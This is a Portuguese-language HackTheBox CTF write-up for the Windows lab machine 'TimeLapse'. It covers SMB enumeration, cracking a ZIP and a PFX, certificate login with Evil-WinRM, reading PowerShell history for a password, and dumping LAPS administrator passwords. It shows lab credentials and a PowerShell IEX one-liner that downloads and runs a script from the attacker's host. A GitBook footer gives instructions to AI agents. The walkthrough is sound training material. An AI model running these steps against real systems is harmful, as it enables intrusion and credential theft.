> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md).

# Relato do HackTheBox TimeLapse

{% embed url="<https://app.hackthebox.com/machines/452>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração SMB
* Quebrando arquivo protegido por senha ZIP (fcrackzip)
* Quebrando e lendo arquivo .PFX (crackpkcs12)
* Obtendo acesso SSL com Evil-WinRM
* Vazamento de informações - Lendo o histórico do Powershell do usuário (Pivotação de Usuário)
* Abusando do LAPS para obter senhas (Get-LAPSPasswords.ps1) (Escalada de Privilégio)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.<br>

<figure><img src="/files/f846d4573f9017e96e049688eea99418fd8cd43d" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/e1fa579b070f5e3f42ddf5ae41fd5ba589dc7028" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts
```

<figure><img src="/files/842c43be79ba4e085e13b7ec0bcbcbc446b30c63" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

<figure><img src="/files/d2ebe7d6fd15f93ac3a46587e09066fee76526d7" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted
```

<figure><img src="/files/2f79c5f05aef7f0ea04b954b5165deba1f0c3d75" alt=""><figcaption></figcaption></figure>

#### Configuração do arquivo /etc/hosts para resolução DNS.

<figure><img src="/files/b3a81898bd524ba8e0212864374e5f066fd05161" alt=""><figcaption></figcaption></figure>

## **Enumeração e exploração:**

### Identificar o nome da máquina e o domínio

Usando o CrackMapExec para identificar o nome da máquina e seu domínio.

```bash
crackmapexec smb 10.10.11.152
```

<figure><img src="/files/497656b04e3de9c6fd1336b49601ad7739b081c5" alt=""><figcaption></figcaption></figure>

### Listar arquivos compartilhados com SMB:

Usando smbclient e smbmap para listar arquivos compartilhados.

```bash
smbclient -L 10.10.11.152 -N
```

<figure><img src="/files/fd052413771c98721d5772a6f4725531f85d5e77" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.11.152 -u 'null'
```

<figure><img src="/files/cf33a64bcb32ac1d68f24fee897993c29f245c3b" alt=""><figcaption></figcaption></figure>

### **Acesso à pasta compartilhada e descoberta de arquivo ZIP protegido por senha**

Exploração e identificação de arquivos na pasta compartilhada, revelando um arquivo ZIP protegido.

```bash
smbclient //10.10.11.152/Shares -N
```

<figure><img src="/files/455e4d3fd8e62f421885bd5ea4aa790dbcfa97a9" alt=""><figcaption></figcaption></figure>

### **Quebra da senha do arquivo ZIP com fcrackzip**

Usando fcrackzip para tentar descobrir a senha do arquivo ZIP.

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
```

<figure><img src="/files/641a5ac2938ab27446495bfaf25c6e63a3ed9572" alt=""><figcaption></figcaption></figure>

### **Extração do arquivo .PFX**

<figure><img src="/files/6d59af9dd1ea6c94541874b7077b63b9d3bf7b46" alt=""><figcaption></figcaption></figure>

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="/files/6c6ad4a7dc6fe4bf4c657097dea2d296941303f7" alt=""><figcaption></figcaption></figure>

### **Quebra da senha do arquivo .PFX:**

#### Para quebrar a senha de um arquivo pfx, será usada a ferramenta crackpkcs12.

{% embed url="<https://github.com/crackpkcs12/crackpkcs12>" %}

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
```

<figure><img src="/files/3e1eff3e19247d6ff47cc4097debbd4be4765db3" alt=""><figcaption></figcaption></figure>

### **Obter a chave privada e o certificado do arquivo PFX**

Recuperação da chave privada

<figure><img src="/files/23a10f251f3f0b52302b2ee2c266beaf35c0766f" alt=""><figcaption></figcaption></figure>

Recuperação do certificado

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="/files/8fcebeab68a038b1e3ab0c18d57b56c3684d9c9f" alt=""><figcaption></figcaption></figure>

### **Conexão SSL com Evil-WinRM usando a chave privada e o certificado**

<figure><img src="/files/c332544be47742dd4d9ced5d8bca0072c9444e8e" alt=""><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="/files/75c5369dd7865e46aac2dfdbff1452daaa56bbb0" alt=""><figcaption></figcaption></figure>

### **Obter a primeira flag**

Obtendo a primeira flag, "user.txt"

<figure><img src="/files/a94e0bcba1fd60c7bbc0276fb34d8f3f1786e201" alt=""><figcaption></figcaption></figure>

## Escalada de privilégio:

**Lista de usuários do DC e privilégios com net users e whoami /priv**

Identificação de usuários e privilégios no controlador de domínio.

<figure><img src="/files/dba83c68c80726aeed3d338ba75399cefcffe58b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/58e2f53005b0c15278c07472f53d38dede778b50" alt=""><figcaption></figcaption></figure>

#### **Análise dos grupos de usuários e descoberta da associação do usuário "svc/ deploy" no grupo "LAPS/ Readers"**

<figure><img src="/files/cb722af5c5859bc5494b354f9668c22e9a69a30c" alt=""><figcaption></figcaption></figure>

#### **Obter a senha do usuário "svc/ deploy" lendo o histórico do PowerShell**

```bash
type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
```

<figure><img src="/files/25ef2e6c043489ab487f73d5baea1f29794deed8" alt=""><figcaption></figcaption></figure>

### **Validação de senha com CrackMapExec**

Confirmação da validade da senha obtida usando CrackMapExec.

```bash
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
```

<figure><img src="/files/c6bca84f8fd08ec6fc68c0e20e7da51bb775836e" alt=""><figcaption></figcaption></figure>

### **Login no Evil-WinRM usando as credenciais do usuário "svc/ deploy"**

Conectando-se ao sistema remoto usando as credenciais do usuário "svc/ deploy" com Evil-WinRM.

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
</strong></code></pre>

<figure><img src="/files/389c58892258537a34bc4fbfb402552a9ecac9d3" alt=""><figcaption></figcaption></figure>

### **Uso do Get-LAPSPasswords para extrair senhas**

{% embed url="<https://github.com/kfosaaen/Get-LAPSPasswords>" %}

#### **Baixar o script Get-LAPSPasswords**

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')
```

<figure><img src="/files/455dc1617d8b20f59344498ddf6723b3d45a14b7" alt=""><figcaption></figcaption></figure>

### **Execução do script e recuperação das senhas administrativas**

<figure><img src="/files/4a7b29d4b2fe4d3324fe91fc618dbccb534d1f8a" alt=""><figcaption></figcaption></figure>

### **Validação da senha de administrador com CrackMapExec**

Confirmação da validade da senha obtida usando CrackMapExec do Usuário Administrador.

```basic
crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'
```

<figure><img src="/files/7408a0797d201287b82c11b96a8467dc526ef592" alt=""><figcaption></figcaption></figure>

### **Conexão final com Evil-WinRM usando as credenciais de administrador**

Conexão final com o sistema usando credenciais administrativas via Evil-WinRM.

```bash
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S
```

<figure><img src="/files/5e10afc35f4835ff61d20a546d1367a005d65bdd" alt=""><figcaption></figcaption></figure>

### **Flag final obtida :)**

<figure><img src="/files/eec8e5ebec702e55574f3c6dbdb865f06343d29c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c5bf485027a9d64130a7ed35e7a53c965f8f1b79" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
